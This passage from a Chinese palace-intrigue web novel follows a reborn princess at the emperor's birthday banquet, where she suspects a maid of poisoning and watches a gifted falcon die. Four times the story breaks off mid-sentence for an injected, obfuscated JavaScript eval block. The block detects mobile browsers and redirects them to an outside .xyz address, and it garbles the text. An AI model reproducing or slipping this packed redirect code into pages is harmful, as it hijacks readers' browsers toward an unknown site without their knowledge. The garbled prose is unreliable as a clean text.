“所以颜家扶持大皇姐,希望有朝一日,大皇姐大权在握,能为颜家报仇。”李暮歌明白了,原著里大公主格外厌恶淑妃所出的孩子,一度超过对太子的厌恶,估计颜士珍在其中出了不少力,“可是,大皇姐现在被太子压制,颜家被父皇厌弃,想要报仇难上加难啊。” “总会有那一天。” 颜士玉从小读书,君子报仇十年不晚,十年不行那就二十年三十年,只要她们还记得这个仇恨,迟早有一日,颜家人会手刃仇敌! “其实那一天可以尽早到来,你看,现在十一皇兄不就躺在棺材里了吗?我听说,十皇姐惊惧过度,疯疯癫癫,不知道什么时候可能也会去了。” 在李暮歌这儿,君子报仇十年不晚的铁律没有任何作用,有仇最好是赶紧报,晚一秒,那都是对自己的折磨。 颜士玉闻言,眼中光芒闪烁,她略有些不自在地干咳一声,“咳,此事还要多谢十四娘。” “不用谢,其实我一直很敬佩颜家,颜家传承千年,一直是朝中清贵,家风正直,实在不易,大皇姐身边有颜三娘子相助,我虽不如大皇姐文武双全,但却有一颗上进之心,六娘子与我年龄相仿,不知你我是否想法一致啊?” 李暮歌心知,颜士玉想要跟她投诚,既然颜士玉坦诚到连颜家的秘闻都说了,她没道理不邀请人才共事。 颜士玉在外才名远不如颜士珍,不是说她不聪明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858480|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是家族资源有限,为一人扬名,将一人捧高,势必会掠走其他人的光芒。 颜士玉有上进之心吗?她有啊!她有很多! 颜士玉当即起身,到李暮歌跟前跪拜下去,“玉必不辱没殿下赏识!” “快快起来,士玉实乃国士,今日本殿下尚不能给予士玉国士应有之荣,他日必定奉士玉为相,共掌朝野!” 李暮歌先画了张大饼,从现代长大的女大,别的不会,画饼可太熟练了。 吃了那么多张饼,终于轮到她给别人画饼了。 颜士玉激动非常,连声道谢,感动得指天指地,发誓以后奉李暮歌为主,必会为李暮歌谋划,让李暮歌再上一层楼。 态度那叫个热情,李暮歌险些招架不住。 古代文人就是如此,平日里高冷也好,不羁也罢,一旦遇到跟她志同道合的人,恨不得把一颗心都掏出来,为主厮杀,为主谋位。 只要成就心中大业,什么事情都干得出来。 李暮歌还跟着颜士玉在文绮楼内转了转,看到了文绮楼专门立在大厅之中的白墙,上面留有各地学子的诗词。 确实奇特,有人笔下仙气飘飘,寻仙写得好似真有仙神,有人笔下则瑰丽壮阔,山河湖海尽在纸上。 还有人则写得阴森诡异,地府黄泉,鬼狐志怪,叫人望之则生畏。 怪不得大公主没事儿就跟颜士珍品赏诗词,李暮歌都想跟颜士玉好好品赏一番了。 走走停停,时间走得很快,眼见夕阳西斜,李暮歌该回宫去了。 “明日宫中万寿宴,届时肯定热闹,你可一定要入宫啊。”李暮歌走之前,握住颜士玉的手叮嘱着。 从前像是这种大场面,颜士玉从来不去,她不认识别人,别人也不认识她,一顿饭吃又吃不饱,喝也喝不了几口,无趣得紧。 反正有三姐在前,万事不用她操心。 现在颜士玉则重重点头,言说自己必定会到场,不会让十四娘失望。 既然说了要上进了,那肯定不能还和以前似得摆烂。 李暮歌满意地笑了笑,跟颜士玉正式告别回宫。 今日宫里宫外都显得格外平静,十一皇子的棺椁已经下葬,总不能皇帝办万寿宴,十一皇子的尸体还在宫里。 葬在哪儿,李暮歌不太清楚,她没有鞭尸泄愤的爱好,便没去打听。 良嫔在李暮歌回来后,特意派人过来说了一声,让她明天老老实实赴宴,颇有些让李暮歌注意点儿,别闹事的警告意味。 李暮歌当然不会闹事,她不光不会闹事,她还会老老实实坐在观众席上,等大幕拉开,剧情正式载入。 就是不知道这一次大公主要如何反击太子党的诡计了。 李暮歌睡前叫来白术,问她:“明日万寿宴上要送给父皇的贺礼准备好了吗?” “回殿下,已尽数准备好,送到梧桐殿去了,想来此刻已然封箱,一并移到紫薇殿外,由禁卫看护了。” 李暮歌像是不死心,又问:“真不能打开再添些东西吗?” 白术为难地道:“回殿下话,宫中规矩,封箱之后必须持有皇后娘娘手谕,方能叫禁卫放行开箱。” 这规矩好,李暮歌像是无奈放弃了,洗漱完直接就寝,等待第二天的一场大戏。 15.第 15 章 一大早,李暮歌就被白术叫了起来,眼睛还没睁开,人已经洗漱完毕坐在梳妆台前了。 好几个宫女围着李暮歌,或是为她盘发,或是为她在脸上敷粉,还有人在一旁仔细挑选今日要穿戴的衣服配饰,场面十分隆重。 其实她只是一个微不足道的小公主,在宴上要坐在角落里,不能太过引人注目。 “选颜色素净些的吧,省得被人说三道四。” 李暮歌选了一身和上一次死时一模一样的衣服,她觉得这身衣服最好看。 一点儿也不避讳什么。 宫人不知她看向那身衣服时,心中流转过多少复杂的情绪,只听话得将她选出来的衣服,为她穿上,再搭配合适的饰品,等一切都忙活完,已经过去小半个时辰了。 接着,李暮歌出门,往隔壁走。 梧桐殿内更是热闹,今日六公主会进宫,良嫔一大早就起来打扮好了。 万寿宴正式开始要在晚上,白天正是和许久不见的亲朋见面说话的时候。 李暮歌到得时候,六公主刚传话进宫,说会晚半个时辰入宫,宫外有些事情耽搁了。 “你六皇姐还是一如既往,做事总是这样拖拉,都快成亲了,还一副小孩子脾气。” 良嫔收到消息的时候,李暮歌更好刚到,她顺嘴就冲李暮歌说了两句李易曲的不是。 嘴上说着李易曲太胡闹,眉宇间那股子宠爱却压都压不下去,李暮歌来到这个世界后,只在良嫔脸上看到过两次这种神情,第一次是重生前,第二次就是现在。 宠溺的对象,只有六公主。 “无论六皇姐多大,都是母妃的女儿,六皇姐真性情,母妃又疼宠她,宫里不知有多少人羡慕六皇姐。” 李暮歌随口说道,她说的是实话,不是每一个母亲都如良嫔爱六公主一样,爱自己的孩子。 小说里,其实很多公主和皇子都说过,他们羡慕六公主,有一个待她一心一意的母妃。 李暮歌的话落在良嫔耳中,就有点儿刺耳了,良嫔其实知道,她小女儿喜欢吃大女儿的醋。 以前她看见小女儿吃醋,总会用“你六皇姐已经出宫建府,没法日日在母妃身边,母妃才多疼宠她一点儿”之类的话,来安抚小女儿。 但是面对狠心杀人后的小女儿,她那些敷衍的话,一个字都吐不出来。 最后良嫔收敛了一些欢快的情绪,好似真的对李易曲生出不满来一样,说道:“你六皇姐就是还没收心,都十八了还这样不懂事,远不如你,现在你都来了,她还在路上磨蹭,真是不像话。锦文,去宫门守着,小六到了后,先带她去凤栖宫给皇后请安。” 名义上皇后是所有公主皇子的幕后,公主皇子们入宫,第一件事都是去看皇后。 这是宫里的规矩,不过因为本朝皇子公主实在是太多,皇后不耐烦每一个都见,因此大多时候,皇子公主们都能直接去自己母妃宫里。 谁的孩子谁自己管。 现在良嫔让六公主去皇后宫里,是告诉李易曲,在宫里必须得循规蹈矩,不可随心所欲,这是一个教训。 李暮歌诧异地看了良嫔一眼,她记得上一次,她好像也说了类似的话,良嫔没什么反应,还劝她不要因为李易曲吃醋。 现在怎么突然如此严厉? 李暮歌弄不明白良嫔在想什么,想不明白就不想了,今日她的重点不在良嫔身上。 宫门外,一辆辆马车停了下来,皇亲贵胄们下了马车,年长的公主皇子们携带驸马与王妃,还有家中的孩子下车,年纪小一些的则身边没有孩子,只有伴侣相陪。 李易曲的马车来得有些晚了,倒是免得在宫门前等待,一路直接到了宫门外停下。 身着锦服华裳,头戴金银朱钗的女子走下马车,一身金灿灿,太阳底下晃得人眼睛都睁不开。 “六皇妹的品味,还是一如既往的独特啊。” 李易曲人刚下车,就听到身后传来一女子的嘲讽。 她不必回头,光听声音都知道是谁。 李易曲微不可查地叹口气,回身时,脸上已经带上了平日里常常带着的笑容。 “三皇姐。” 她说罢,微微行了一礼,平辈之间没那么多礼节,只是六公主还未曾成亲,暂时没有封号,这才低了有封号的荣阳公主一头。 “嗯,起吧。” 荣阳公主五官随了李麒,脸型则是随了凌贵妃,长得十分好看。 这是专挑好的随了,李麒是国字脸,凌贵妃五官则比较平,同时随了这两样的五皇子,长得就远不如他姐姐荣阳公主好看。 此刻荣阳正用她那双凌厉的眸子打量着六公主,似是漫不经心地问:“最近你怎么没回宫一趟,听说十四皇妹害死了十一,你没回来管管她?” “三皇姐说笑了,父皇已经言明,十一的事不过是个意外,哪儿有被谁害了一说?这话三皇姐可不要在淑妃娘娘跟前提及,听说淑妃娘娘前段时间忧思过度,已经病倒,连今日的万寿宴都没法参加,真是令人叹息。” 李易曲三言两语将荣阳气势汹汹的质问给打了回去,面上还一副你好我好大家好的模样,看得荣阳直接翻了白眼。 “本殿下懒得跟傻子说话,让开!” 被人当面骂傻子,李易曲也不生气,而是非常听话得让出了位置,目送荣阳带着人走了。 等荣阳公主离开,李易曲身边的侍女上前,低声道:“殿下,三公主实在是太嚣张了,明明是咱们先到的,凭什么给她让路,叫人瞧见,还以为殿下怕了她!” “先进去又能如何?还不是要一步步走到贵妃宫里去,再不服气,也跟我一样。” 不过都是不受父皇重视的孩子而已。 “她还不如我呢,听说贵妃前段时间,冲她发了好大的火,她在贵妃宫外跪了半天,母妃从来不会为了别人这样对我。” 李易曲说到这儿,因为荣阳而低沉的心情,瞬间又欢快起来,她身边的侍女也跟着说了两句好话,夸六公主与良嫔母女情深,良嫔是慈母,不会给已经长大成人的女儿难堪。 然后她们就被守在门口的梧桐殿的人看见了,接着,锦文转达了良嫔让六公主先去给皇后请安的命令,李易曲当即脸色一变,好在很快又恢复了人畜无害的模样,顶着一身金银珠宝,就往凤栖宫去了。 只是这一次,她身侧的侍女一句话都不敢说了。 大概到了中午,李暮歌才见到李易曲。 对于李易曲这个亲姐姐,李暮歌曾经是有几分期待的,就好像她对良嫔的期待一样。 死亡后不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862325|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停重生,她时刻处于惧怕之中,那时她不是没想过对外求助,她不光想了,还做了。 第一个求助对象,就是六公主。 她那时认为,六公主是良嫔的大女儿,书里六公主曾展露出对皇位的野心,得知自己妹妹被人暗害,六公主肯定会为妹妹筹划,不管是为夺权铺路,寻找敌人的把柄,加以利用,还是真的心疼妹妹,六公主肯定会有所行动。 后来事实告诉李暮歌,良嫔和六公主不愧是感情很好的亲母女。 她们都对原身很上心,但仅限于血缘亲情的一点儿好感,在面对自身利益时,她们的选择如出一辙。 李暮歌从良嫔与六公主身上,学到了很多,比如,弱小时要学会退让,千万不要想着跟强者硬碰硬。 但是夺权之路,是与无数人争,容不得有半分退缩之心,书里良嫔六公主组合的失败是有原因的,习惯了躲藏在弱者的保护衣之下,渐渐地,就真成为弱者了。 李暮歌起身,与李易曲亲热得喊了几句姐姐妹妹,李易曲全程没有提过一句心中的不满,良嫔也没问她到底有没有去凤栖宫。 吃过午饭,李暮歌就回春和宫了,将梧桐殿让出来给许久不见的母女俩叙旧。 她们说了什么,李暮歌并不在意,她在意的是她到底要怎么处理,晚上在宴上给她下毒的人。 她其实知道是谁,在她睁眼后,她就知道是谁了。 万寿宴上,她是喝了汤才被毒死。 万寿宴上的餐具是银质,古代见血封喉的毒多以砒霜一类为主,这一类毒躲不过银的检测。 所以毒肯定在汤里,且汤是在盛出来后才被下的毒。 谁能下毒?盛汤的宫人是第一嫌疑人。 李暮歌记得清楚,为她盛汤的宫人是锦绣。 在宴席之上,公主身边布菜的宫人,多是自己贴身侍候的宫女,只有贴身的宫女才知道公主的口味,能更好服侍公主。 本来李暮歌想带着白芍或白术,可这俩人在她死去的无数次里,没有一次能帮得了她,李暮歌出于谨慎,最后选择了锦绣。 因为锦绣以前在梧桐殿做事,她有几分手脚功夫,年纪大阅历深,比白芍白术一类的小宫女遇事要淡定得多。 在得知锦绣有问题的前提下,她找到了在香薰里下毒的人,看上次锦绣的反应,绝对也是她没错。 李暮歌想不明白,为什么锦绣会杀她。 虎毒不食子,目前宫里对她生命威胁最小的人就是良嫔。 锦绣杀她绝不是奉了良嫔的命令。 良嫔身边的翠玉、翠珠、锦文、锦绣全都是陪嫁,是良嫔还在娘家时就养在身边,家世最清白不过的奴婢,锦绣怎么可能是别人的人! 所以,谁能越过良嫔,直接命令良嫔的人呢? 答案其实只有一个。 六公主——李易曲。 想明白这一点后,李暮歌就更疑惑了,李易曲到底为什么要杀原身!原身可是她亲妹妹啊! 目前已知,荣阳因不知名原因想要原身的命,原本的十公主和十一皇子,也不想要原身活着,现在还要加一个六公主,原身就是个普普通通的背景板,这群人到底为什么都要害她! “白术,晚上让锦绣跟着我去赴宴,记得告诉她一声。” 16.第 16 章 李暮歌其实不是很确定今天晚上,锦绣会不会动手。 因为目前为止发生了太多变数,所以或许曾经想要动手的人,会选择暂时不动手。 当然,很可能一切照旧发展,该动手的人还是会动手。 李暮歌之所以将锦绣带在身边,是因为锦绣在她这里已经是明牌了,她知道锦绣不能信任,换个别人过来,谁知道究竟是哪一边的人。 时间过得飞快,眨眼天色将晚,暮色昏黄,宫中各地燃起灯火,外城不时传来烟花炸开的声音,漂亮的烟花将一方天地照得明亮,可惜转瞬即逝。 等晚上应该会有更盛大的烟花绽放,李暮歌从来没有活到过烟花盛开的时候,她希望今天晚上,她能看见那一幕。 “殿下,该去紫薇殿了。” 紫薇殿在前朝称无极宫,此地一直是帝皇居所,前殿为大朝会召开之地,一般有盛大的宴席,也会在紫薇殿举办,只因这里够大,还有那象征着至高无上权力的龙椅。 李暮歌跟着宫人出了春和宫的门,往紫薇殿走去,路上偶会遇到其他宫里住着的宫妃,还有年纪小的公主皇子。 没人互相攀扯聊天,大家都慢慢走路,用脚丈量皇宫的甬道究竟有多长。 高墙之上有身着甲胄的禁军守卫,墙上与墙下,像是两个世界。 快到紫薇殿时,李暮歌看见了更多人,这一次同行的人里,多了许多身着朝服的官员和他们的家眷。 上紫薇殿还要走一遍又高又长的台阶,李暮歌微微抬起裙摆,一步步走上去。 这一条路,上朝的官员们三五天便要走一次,原身从来没有走过,李暮歌只走过一次。 走完台阶,李暮歌额间出了一层汗,看来朝廷的官员身体素质都挺好,不时爬爬楼梯,运动量拉满。 李暮歌才刚喘匀气,就听见有人在喊她。 “十四殿下,问殿下安。” 抬头看去,原来是颜士玉,今日颜士玉和李暮歌一样,穿了一身浅色的衣裳,主打一个不会出风头的安全打扮,尽量将自己当成宴会背景板。 只是少年人朝气十足,就算打扮得再素净,也是好看的。 李暮歌就喜欢长得好看的人,能让她心情舒畅。 今日赴宴者,没有长相难看的人,这对李暮歌的眼睛非常好。 “你来得倒是早,你的位置在哪儿?”李暮歌快走两步,到了颜士玉身边。 颜士玉后退半步,让李暮歌先行在前,自己跟随在后。 “回殿下话,在下坐在那里。”颜士玉指了个比较靠前的位置,她跟随颜太傅赴宴,纵使颜家目前不得皇帝重用,位置也差不了。 李暮歌见此,笑道:“这位置不错,比我的靠前。” 良嫔只是个嫔位,她又不受重视,位置在犄角旮旯里很正常,皇宫就是这么一个等级森严的地方,这个环境里,等级体现在方方面面,大到钱权社会地位,小到衣食住行,方方面面都有规矩管着。 颜士玉见李暮歌只是在打趣,没有其他意思,便顺着她说道:“蒙祖上余荫,陛下宽厚,颜家才能在宴上恭贺陛下万寿,与在下而言,这位置也没什么好,不如殿下的位置,能纵览全局。” 李暮歌笑了笑没说话,她确实满意自己的那个位置,看戏观景最佳位置,但她不喜欢这个位置的含义,她想要最好的那个。 李暮歌最后深深凝望了一眼那高高在上的皇位,与颜士玉又闲聊两句,随后就分开,各自归位了。 现下殿中位置已经坐了大半,大家都要走着过来,当然越早出发越好,能慢慢走,不至于到了紫薇殿形容狼狈,更不至于在皇帝面前迟到。 等天黑下来时,所有人都到齐了。 李暮歌抬头看了一眼大公主的位置,还有大公主的左上位置坐着的太子,主角到位,静候好戏开场。 大公主此刻端坐,面无表情,她落座的时候跟太子说了两句话,又是不分胜负,谁都没法奈何谁。 可太子坐在她的上位,明明她才是老大,却要因为一个太子之位而避让! 叫人何其不甘。 “端华皇姐脸色好像不太好,可是身体有恙?一会儿父皇和母后便要来了,今日是父皇的好日子,大皇姐可不要扫了父皇的兴致。” 坐在大公主右手边的三公主开口,好似关心,可眉宇间的嘲讽却无论如何也掩不住。 大公主眼神微暗,荣阳此刻唤她封号,是在嘲讽她不过是个普通的公主,却要和太子争辉,不自量力。 大公主看向太子,果然从太子眼中看见了畅快的神色。 太子李晖朝注意到大公主的注视,面上勾起温和有礼的笑,说道:“荣阳,不可这般无礼,大皇姐,荣阳素来直言快语,还请皇姐莫要与她一般见识。” “你们兄妹如此要好,一唱一和的,怎么不坐到一起去?荣阳没脑子不是一天两天,本殿下当然不会与她一般见识,太子,你身为储君,若连自己妹妹都管不好,日后如何管这天下万民。” 太子脸上笑容一滞,他身边坐着的太子妃连忙开口打圆场。 太子妃杨卿鱼生来一副笑脸,未语先带三分笑,好似是庙中的菩萨,瞧着就是好心肠,她举杯向大公主,道:“如今父皇正值春秋鼎盛之年,太子还需多多学习治国之道,大皇姐学识渊博,日后太子哪里做得不好,大皇姐尽管开口提点一二,本宫代太子多谢大皇姐费心。” 话毕,她一口饮尽杯中酒水。 大公主冷笑一声,“太子真是娶了个好太子妃,杨氏的女儿果真名不虚传。” “皇姐所言极是,太子妃是世间少有的贤良女子,泷阳杨氏乃千年世家,家风极好。” 太子冲太子妃感激地笑了一下,太子妃刚刚不光帮他顶了大公主的责问,还给他塑造了谦逊好学的形象,同时将大公主的位置,定在了贤王之位上,一番话说得密不透风。 太子和太子妃对视而笑,一副郎情妾意的恩爱模样,大公主看了一眼自己驸马,驸马冲她微微一笑,一言不发。 大驸马风姿绰约,俊朗不凡,同样出身世家,年轻时大公主很是沉迷他的美貌,可是后来大公主就不喜他了,因为大驸马是个保皇党,对皇帝忠诚无二。 成亲十年,没有爱也有亲情,大公主冲驸马回以一笑,随后无趣得坐好,不说话了,只静等宴席开始。 荣阳看了一眼感情极好的太子和太子妃,目光森寒,在忍不住眼中恨意之前,低下了头,苦闷了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868964|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口酒。 她的驸马前两年没了,这些年她在府上养了不少面首,日子过得快活,没有再成亲的想法。 坐在荣阳右侧的萦关公主李昙月只当自己不存在,跟自家驸马低声说着话,倒是五皇子李时天担心地看了一眼自家姐姐,荣阳注意到弟弟的目光,瞪了他一眼。 已经是魏王的五皇子打了个哆嗦,不敢再抬头,他从小到大最怕的就是三皇姐,亲姐打他是真得揍,贵妃都拦不住那种。 六公主默默看着前面几个人“其乐融融”的场景,咽下一口酒水,她转头想看看自己亲妹妹,结果看见正往嘴里塞糕点的李暮歌。 饿了?六公主想了想,叫身后侯着的宫人传个话,再去端来些糕点,别饿着十四。 回过头的时候,六公主与在李暮歌身旁的锦绣对视了一瞬,那一眼好似有什么特殊,只是瞬间消失不见。 不消片刻,李暮歌收到了来自亲姐姐的投喂。 看着六公主特意为她要来的糕点,李暮歌突然觉得饱了。 这点心应该没下毒吧?六公主不像是个蠢人,应该不会做得如此明显。 也不一定,谁知道六公主是怎么想得,或许她就是会打别人一个措手不及,所有人都觉得亲姐不会谋杀亲妹,等她死了,六公主一口咬定只是关心妹妹,糕点是从御膳房端来的,不知道是何人下毒,不就撇清嫌疑了? “殿下?” 见李暮歌一直看着糕点发呆,锦绣小声提醒了一声。 李暮歌这才发现,她手上捏着的糕点都快碎了。 将那安全的糕点吃到嘴里,李暮歌咽下去后,才装作饱了似得说道:“吃不下去了,一会儿还有好菜要上,怕是要辜负六皇姐的好意,锦绣,你吃两口吧,垫垫肚子,省得还要饿着肚子伺候。” 李暮歌此刻像是个无比体恤下属的好主子,锦绣没多想,忙谢了一声,捏了两块,小口却快速地吃下去了。 伺候人用膳确实是个累活,尤其当奴婢的不能吃东西,饿着肚子将好吃的饭菜送到主子嘴里,又累又馋人,能先吃两口就先吃两口呗。 见锦绣毫不犹豫,李暮歌微微皱眉,难道宴席上的刺杀,不会出现了? 没等她多想,皇帝和皇后到了。 “陛下、皇后圣安!陛下万岁万岁万万岁!皇后千岁千岁千千岁!” 一堆人齐刷刷行礼,嘴里跟念贯口一样,高呼万岁千岁。 李暮歌低头弯腰拱手,除了宫人外,其余人都是低头弯腰,而不是跪在地上。 跪拜大礼大多在祭天地神明时才会用,又或者是在皇帝登基或召开大朝会的场合上,群臣都要叩拜。 “众卿家免礼,入座吧。” 皇帝牵着皇后入座,随后态度十分平和得让众人坐下。 “谢陛下圣恩!” 接下来就是皇帝的讲话时间,说一说今天宴席是为了什么,他的心情如何,接着给众人一个敬酒的机会,他喝酒动筷子,宴席就正式开始,上菜了。 菜一一摆好后,乐府的乐伎们开始敲编钟奏乐曲,舞姬入场献舞,大宴正式开席。 开席后,诸位公主皇子献上寿礼。 第一个站出来献寿礼的人,是太子。 17.第 17 章 太子上前后,张嘴说了一大堆漂亮话,哄得皇帝笑得合不拢嘴,一时之间,大殿内洋溢着欢乐喜庆的气氛。 李暮歌听着太子的吉祥话,看了眼大公主,她看不见大公主的表情,只能看见她坐得笔直的背影。 不知道大公主看见太子在面前大出风头是什么心情,反正心情不会太好就是了,按理说,像是献礼祝贺等事情,普通人家都是按照长幼顺序来,偏偏皇家出了一个二皇子当太子,事事都压了大公主一头。 如果大庄是如一些朝代一样,百般打压女子,公主没有继承皇位的权力,那大公主或许还能忍气吞声,偏偏大庄先头出了一位盛天皇帝,甚至盛天皇帝还有意立大公主为太女。 曾经接触过权力中心,距离万人之上的位置似乎仅有一步之遥,而今让大公主甘心做一代贤王,辅佐太子,她怎么可能甘心? 李暮歌走神思考间,太子已经将自己的礼物献上了,是一块玉。 用太子的话说,那不是一块普通的玉,而是天降祥瑞,因为那玉自石中采出时,就状若麦穗,且还是颗粒饱满,通身金黄的麦穗。 此玉采出后,当地风调雨顺三五年,粮食更是连年丰收,百姓们都供奉此玉,称此玉是天上神仙赐下,有庇佑人间的奇效。 说得非常玄乎,李暮歌听得都有点儿好奇了,这天底下能有这种玉? 当然不可能有这种玉,像是神鬼之类的说辞,大多是人现编,或许那玉天生确实长得像麦穗,但绝没有什么庇佑人间的奇效,全都是人为添加上去的“效果”而已。 至于玉长得像麦穗,又没什么稀奇的,天下之大无奇不有,长得像人的山峰都能找出好几座来,长得像麦穗的玉石,有心总能淘出几个。 最为稀奇的是,那玉是一块金黄颜色的玉,倒是真的很巧。 作为皇帝,天下奇珍异宝他看得多了,送礼给他,主打一个心意,只要心意到了,皇帝自然满意。 太子这块玉的心意实在是很足,皇帝连连大笑,更是夸赞太子孝顺,用心寻找天下宝物进献于他。 不过皇帝没有将那块玉直接收到内库之中,而是命人送到京城庄子上,既然此玉能让一地风调雨顺五谷丰登,那当然要用在自家庄子上,放到内库里不见天日,岂不是浪费了? 太子没想到皇帝会在这个时候还想着城外的土地和粮食,回到座位时,表情有一瞬不自然,他现在只祈祷,今年京城附近能真的风调雨顺,千万别有什么大灾,不然皇帝肯定会将帐算在他头上。 皇帝不打算罚他,也会有有心人,将这个锅扣在他脑袋上。 太子所想的有心人,自然就是接下来献礼的大公主了。 来了。 李暮歌看见大公主从位置上站起来,不自觉坐直了身体,目光炯炯地望着场中。 只见随着大公主出列,好几个宫人抬来了一块红布盖着的东西,走近了能听见些动静。 几个大臣对视一眼,心知大公主这是送得活物。 前段时间大公主特意派人去边关,他们得知此事时,还想过边关能有什么事,让大公主上心,后来得知,大公主派人去边关抓来了一只隼。 隼为猛禽,向来可遇而不可求,这份礼的重要程度,一点儿都不比太子的“祥玉”轻。 “儿恭祝父皇万寿!父皇乃是大庄皇帝,天下共主,拥有天下万物,普通的东西,难以让父皇开颜,因此儿寻得一高人,那高人行踪不定,听闻是为父皇搜寻万寿贺礼才自山林之中出手,奉上猛禽一只。” 大公主将那红布拽下,露出底下的笼子,纯金打造的笼子在灯光的照耀下熠熠生辉,更让人移不开眼睛的,是笼中那体型极大,压迫感极强的猛禽。 尖利的鸟喙,散发着森森寒气的利爪,任何人都无法将目光从那猛禽身上挪开,强大的外形和空中霸主的身份,给游隼身上加了无数层光环。 蓝灰色的大鸟发出科科的叫声,尖锐又有些许嘶哑,张开鸟翼煽动一阵风,打在人脸上,带来一阵凉意。 皇帝不禁从龙椅上站了起来,想要走到底下去好好看看那猛禽,被皇后轻声提醒,才勉强稳住,他忙命人将猛禽放到后殿,他今晚便要好好看看。 这个反应对比太子,可真是太明显了,李暮歌看不见太子的脸色,但她能看见太子紧握的右拳,想来他的内心情绪十分复杂。 绞尽脑汁弄出来的价值连城的宝玉,结果还不如一只鸟,这放谁身上能忍得住啊。 可送礼就是这样,礼物再贵重也没用,要看能不能送到人心里去。 论对皇帝的了解,大公主显然远超太子。 李暮歌记得有人在书下讨论过,若不是盛天皇帝想要越过李麒,直接将皇位传给大公主李曦年,李麒可能会选择李曦年作为太女。 要李暮歌说,这些读者说得假设太假了,根本不可能存在,因为皇帝这个人,他骨子里其实是非常标准的古代帝王,并没有因为母亲是女帝而改变。 所以除非是万不得已,没了任何选择的情况,否则他绝对不会将皇位传给女儿。 别看皇帝现在高兴得很,一会儿他就笑不出来了。 李暮歌在宫人上前移动鸟笼时垂下眼帘,下一秒,一声压制不住的惊呼声响起。 “死、死了!” “这鸟死了?!” “陛下饶命!陛下饶命,奴等还没有碰到笼子,那鸟就没气了啊!” 几个宫人高呼,一点儿为大公主隐瞒得意思都没有,嘴里喊着饶命,像是在惶恐求饶,实际上是将隼死在笼子里的事情,大声而直白的告诉在场所有宾客。 皇帝的笑僵在了脸上,其余人一时噤若寒蝉,谁都不敢出声。 连弹奏乐曲的乐伎都停了手,舞姬们更是惶恐地跪倒在地,不敢有丝毫动作。 紫薇殿内的气氛,从欢快转变为死寂,不过在片刻之间。 大公主额头霎时一层冷汗,她不敢相信地走到了笼子旁,刚刚还活蹦乱跳的鸟儿,此刻耷拉着身子,已经奄奄一息。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872608|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 断气不过在转眼间。 “怎么会这样……”大公主不明白这是怎么了,笼子和鸟她都检查了一遍又一遍,全程都是她的人在接手,怎么会出事! 古往今来,大多数人送礼都是送死物,就是因为送活物危险性太大,活物总有死的时候,谁知道会不会死在送礼当天。 一旦出现这种情况,那真的太晦气了。 在皇帝的万寿宴上出现这么晦气的情况,皇帝当即震怒。 “端华!你竟献上一只死鸟,你是在诅咒朕吗!来人,将大公主押下去,关入……” 皇帝说到这儿,顿了一下,没有继续说,显然他是清醒了,知道有些话不能此刻说出口,否则将毫无余地。 “陛下息怒!” “陛下息怒啊!大公主金枝玉叶,怎能被关入大牢,实在有损皇家颜面!游隼明明刚刚还活蹦乱跳,怎会突然之间断了气,定是有人故意陷害,还请陛下查明此事,还大公主清白!” 大公主一派的官员立刻从人群中出来,跪地为大公主求饶,并且极力撇清大公主身上的罪名。 “陛下息怒!” 随着几个大臣带头出面劝解,从人群中陆陆续续又走出来不少人,除了大公主一派的人外,还有中立派的不少人。 他们不见得是真觉得大公主无辜,只是觉得皇室秘辛不该暴露在大庭广众之下,大公主送得鸟儿死了,明眼人都能看出来是有人暗害,如果大公主真的因为一只鸟被送到大牢里,皇室的脸面荡然无存。 大公主以极快的速度镇定下来,她回手抽出脑后的簪子,一头青丝落下,她跪地道:“儿不知为何会出现这种事,还请父皇恕罪!” 脱簪待罪,一般是后妃有罪,向天下宣告罪过时的举动,一如负荆请罪,大公主此刻如此行径,可谓是果断至极。 皇帝的脸色以肉眼可见的速度回温,大臣之中有不少人都劝说大公主不必如此,请求皇帝息怒的大臣又多了几位。 太子见此,恨得牙都要咬碎了,今天若不能将大公主压下去,大公主果断机敏之名很快就会在朝中传开,届时他这个太子,哪儿还有什么地位可言! 他冲荣阳使了个眼色,命令荣阳代他出面,将局面搅浑。 